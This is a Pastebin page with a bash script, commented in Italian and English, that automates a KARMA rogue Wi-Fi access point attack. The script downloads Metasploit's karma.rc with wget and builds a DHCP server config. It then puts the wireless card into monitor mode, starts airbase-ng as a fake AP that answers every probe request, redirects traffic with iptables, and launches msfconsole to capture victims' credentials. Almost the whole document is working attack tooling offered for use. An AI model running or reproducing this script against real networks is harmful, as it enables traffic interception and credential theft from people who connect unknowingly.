Not a member of Pastebin yet?
                        Sign Up,
                        it unlocks many cool features!                    
                - #!/bin/bash
 - ## KARMAPLAY! ##
 - fun_help () {
 - echo "[-] questo script prepara l'ambiente KARMA" #this script make working karma ambient
 - echo "[-] controlla i file di configurazione" #check config file
 - echo "[-] e leggi gli esempi presenti!" # and read the example
 - echo "[+] Dipendenze:"
 - echo "[+] karma.rc + server DHCP + Aircrack-ng "
 - echo "[.] good hack"
 - }
 - ## PERCORSI E DEFINIZIONI ##
 - ## PATH AND DEF ##
 - #info: solitamente uso questo percorso, รจ il mio ambiente di lavoro, modificalo o adattalo al tuo
 - #info: i'm used to work with this path, change it or make your own working path
 - dh_conf="/etc/dhcp/dhcpdevi.conf" ;
 - ka_rc="$HOME/Modelli/EVIL/KARMA/evilmet.rc" ;
 - i_man="wlan0" ;
 - i_mon="mon0" ;
 - essid="TEST" ;
 - net="10.0.0.0" ;
 - net_mask="255.255.255.0" ;
 - ip_ap="10.0.0.1" ;
 - ## PREPARO L'AMBIENTE DI LAVORO E SCARICO KARMA ##
 - ## MAKE WORKING PATH AND DOWNLOAD KARMA ##
 - fun_karma () {
 - if [ -e $ka_rc ]
 - then
 - echo "[ok] karma.rc presente"
 - else
 - mkdir -p $HOME/Modelli/EVIL/KARMA
 - cd $HOME/Modelli/EVIL/KARMA
 - wget "http://metasploit.com/users/hdm/tools/karma.rc"
 - if [ $? -eq 0 ]
 - then
 - echo "[ok] karma.rc scaricato con successo"
 - else
 - echo "[fail] impossibile scaricare il file" && exit
 - fi
 - fi
 - }
 - ## PREPARO IL FILE DI CONFIGURAZIONE DEL DHCP ##
 - ## MAKE DHCP CONFIG FILE ##
 - fun_dhcp () {
 - if [ -e $dh_conf ]
 - then
 - echo
 - echo "[ok] dh_conf presente"
 - else
 - echo
 - echo "sto scrivendo il file di configurazione"
 - touch $dh_conf
 - echo "option domain-name-servers $ip_ap ;" >> $dh_conf
 - echo "default-lease-time 60;" >> $dh_conf
 - echo "max-lease-time 7200;" >> $dh_conf
 - echo "ddns-update-style none;" >> $dh_conf
 - echo "authoritative;" >> $dh_conf
 - echo "log-facility local7;" >> $dh_conf
 - echo "subnet $net netmask $net_mask {" >> $dh_conf
 - echo "range 10.0.0.50 10.0.0.254;" >> $dh_conf
 - echo "option routers $ip_ap ;" >> $dh_conf
 - echo "option domain-name-servers $ip_ap ;" >> $dh_conf
 - echo "}" >> $dh_conf
 - sudo chmod 777 $dh_conf
 - fi
 - }
 - ## MONITOR MODE ##
 - fun_mon () {
 - echo
 - echo "abilito il monitor mode:"
 - airmon-ng start $i_man
 - if [ $? -eq 0 ]
 - then
 - echo
 - echo "[ok] fatto"
 - else
 - echo
 - echo "[fail] impossibile mettere $i_man in monitorok mode" && exit
 - fi
 - }
 - ## AP FASULLO ##
 - ## FAKE AP ##
 - fun_fakap () {
 - echo
 - echo "abilito il fake ap:"
 - ( xfce4-terminal -e "airbase-ng -P -C 30 -e $essid -v $i_mon" ) &
 - if [ $? -eq 0 ]
 - then
 - echo
 - echo "[ok] fatto" #done
 - else
 - echo
 - echo "[fail] impossibile creare il fake ap" && exit #error
 - fi
 - sleep 10
 - }
 - ## PREPARO LA RETE ##
 - ## SET THE NET ##
 - fun_setnet () {
 - echo
 - echo "preparo la rete:"
 - iptables -t nat -A PREROUTING -i at0 -j REDIRECT
 - ifconfig at0 up $ip_ap netmask $net_mask
 - if [ $? -eq 0 ]
 - then
 - echo
 - echo "[ok] fatto" #done
 - else
 - echo
 - echo "[fail] impossibile assegnare gli indirizzi" #error
 - fi
 - sleep 5
 - echo
 - echo "configuro il server dhcp:"
 - sudo dhcpd -cf $dh_conf at0
 - if [ $? -eq 0 ]
 - then
 - echo
 - echo "[ok] fatto"
 - else
 - echo
 - echo "[fail] impossibile caricare il file di configurazione" && exit
 - fi
 - }
 - ## CARICO KARMA IN MSFCONSOLE ##
 - ## LOAD KARMA IN MSFCONSOLE ##
 - fun_msf () {
 - echo
 - echo "carico karma in msfconsole:"
 - ( xfce4-terminal -e "msfconsole -r $ka_rc" ) &
 - if [ $? -eq 0 ]
 - then
 - echo
 - echo "[ok] fatto"
 - else
 - echo
 - echo "[fail] impossibile caricare il file di configurazione karma" && exit
 - fi
 - }
 - ## PULISCO TUTTO ##
 - ## CLEAN ALL ##
 - fun_clean () {
 - echo
 - echo -n "vuoi ripulire e fermare tutto?"
 - echo
 - read risp
 - case $risp in
 - y) echo "avvio pulizia!"
 - rm -f /etc/dhcp/$dh_conf
 - airmon-ng stop mon0
 - service isc-dhcp-server stop
 - #if have problem try killall -9 dhcpd
 - echo "pulizia terminata"
 - ;;
 - *) fun_clean
 - ;;
 - esac
 - exit 0
 - }
 - fun_help
 - fun_karma
 - fun_dhcp
 - fun_mon
 - fun_fakap
 - fun_setnet
 - fun_msf
 - fun_clean
 
Advertisement
 
                    Add Comment                
                
                        Please, Sign In to add comment